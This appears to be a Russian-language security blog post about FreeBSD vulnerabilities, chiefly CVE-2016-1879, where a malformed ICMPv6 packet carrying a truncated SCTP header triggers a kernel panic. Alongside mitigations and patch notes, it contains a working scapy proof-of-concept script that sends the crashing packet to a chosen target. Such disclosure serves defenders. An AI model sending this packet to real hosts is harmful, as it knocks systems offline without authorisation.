Согласно сообщению команды проекта FreeBSD, в операционной системе обнаружен ряд критических уязвимостей, позволяющих злоумышленникам проводить атаки отказа в обслуживании, осуществлять повышение привилегий и раскрывать важные данные.
Уязвимость, связанная с некорректной обработкой сообщений ICMPv6 в стеке SCTP (CVE-2016-1879)
SCTP (Stream Control Transmission Protocol — «протокол передачи с управлением потоком») – протокол транспортного уровня, который разработан для передачи сообщений сигнализации телефонных сетей в IP-среде. В основном данный протокол используется в технологических сетях операторов связи.
Уязвимости подвержены версии FreeBSD 9.3, 10.1, 10.2 в том случае, если они сконфигурированы с поддержкой протоколов SCTP и IPv6 (конфигурация по умолчанию). Для эксплуатации ошибки злоумышленнику требуется отправить специально сформированное сообщение ICMPv6. Успешная эксплуатация уязвимости позволяет реализовать атаку отказа в обслуживании (DoS).
DoS возникает из-за недостаточной проверки длины заголовка SCTP пакета, полученного в ICMPv6 сообщении об ошибке.
Когда адресат недоступен, маршрутизатор может сгенерировать сообщение об ошибке и переслать его отправителю через ICMPv6.
В такой ICMPv6 пакет вложен оригинальный IPv6 пакет, в котором поле Next Header указывает на то, как протокол верхнего уровня инкапсулируется. В данном случае это SCTP.
Когда ядро получает по ICMPv6 сообщение об ошибке, оно находит в нем пакет протокола верхнего уровня и передает его соответствующему обработчику (в данном случае sctp6_ctlinput()).
Обработчик SCTP предпологает, что входной пакет содержит заголовок достаточной длины, пытается скопировать его с помощью m_copydata(), в которую передаются значения смещения и сколько байт требуется считать. Поскольку ожидается блок данных размером 12 байт, если отправить пакет с SCTP-заголовком <= 11 байт, то происходит разыменование нулевого указателя, что вызывает критическую ошибку ядра системы (kernel panic).
Для эксплуатации уязвимости наличие открытого SCTP сокета не обязательно. Создать ICMPv6-пакет для осуществления атаки можно с помощью scapy. На Хабре было немало статей, посвященных этому мощному инструменту (например, эта и эта статьи).
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import argparse
from scapy.all import *
def get_args():
parser = argparse.ArgumentParser(description='#' * 78, epilog='#' * 78)
parser.add_argument("-m", "--dst_mac", type=str, help="FreeBSD mac address")
parser.add_argument("-i", "--dst_ipv6", type=str, help="FreeBSD IPv6 address")
parser.add_argument("-I", "--iface", type=str, help="Iface")
options = parser.parse_args()
if options.dst_mac is None or options.dst_ipv6 is None:
parser.print_help()
exit()
return options
if __name__ == '__main__':
options = get_args()
sendp(Ether(dst=options.dst_mac) / IPv6(dst=options.dst_ipv6) / ICMPv6DestUnreach() / IPv6(nh=132,
src=options.dst_ipv6,
dst='fe80::230:56ff:fea6:648c'),
iface=options.iface)
Ниже представлена видеодемонстрация атаки:
Для того, чтобы обезопасить себя от атаки с использованием данной ошибки безопасности, следует осуществить следующие действия:
- Отключить IPv6-адресацию в случае если она не требуется;
- Заблокировать трафик ICMPv6 или IPv6 на межсетевом экране;
- Отключить поддержку стека SCTP в ядре операционной системы в случае если он не требуется (требуется перекомпиляция ядра).
Для устранения уязвимости можно использовать патч от производителя, который вносит дополнительные проверки в обработку ICMPv6-сообщений в SCTP-стек. В данном случае также потребуется перекомпиляция ядра.
Это еще не все
Помимо это, в системе обнаружен еще целый ряд серьезных уязвимостей. Разработчики FreeBSD выпустили несколько патчей, закрывающих эти ошибки безопасности:
- Уязвимость, позволяющая осуществить DoS-атаку из-за ошибки, возникающей при обработке соединений TCP с включенными опциями сокета TCP_MD5SIG и TCP_NOOPT. Для успешной эксплуатации злоумышленнику необходимо открыть прослушивающий сокет с включенной опцией TCP_NOOPT. (CVE-2016-1882, патч);
- Уязвимость, позволяющая локальному пользователю осуществить повышение привилегий или вызвать отказ в обслуживании — это возможно вследствие ошибки контроля доступа, позволяющей перезаписать случайные участки памяти с помощью специально сформированных системных вызовов слоя совместимости Linux setgroups(2). (CVE-2016-1881, патч);
- Из-за ошибки в списках Linux robust futex хакеры получают возможность раскрытие данных системной памяти (CVE-2016-1880, патч);
- Небезопасные «дефолтные» настройки безопасности, разрешающие доступ к файлу конфигурации демона bsnmpd “/etc/bsnmpd.conf” (CVE-2015-5677, патч).
Во избежание проблем, связанных с эксплуатацией указанных уязвимостей, эксперты Positive Technologies рекомендуют пользоваться IPv6-адресацией только в том случае, если она требуется для функционирования приложений, своевременно устанавливать обновления безопасности от разработчиков ОС и использовать специализированные инструменты (например, MaxPatrol) для контроля защищенности системы.
iXCray
РЕШЕТО!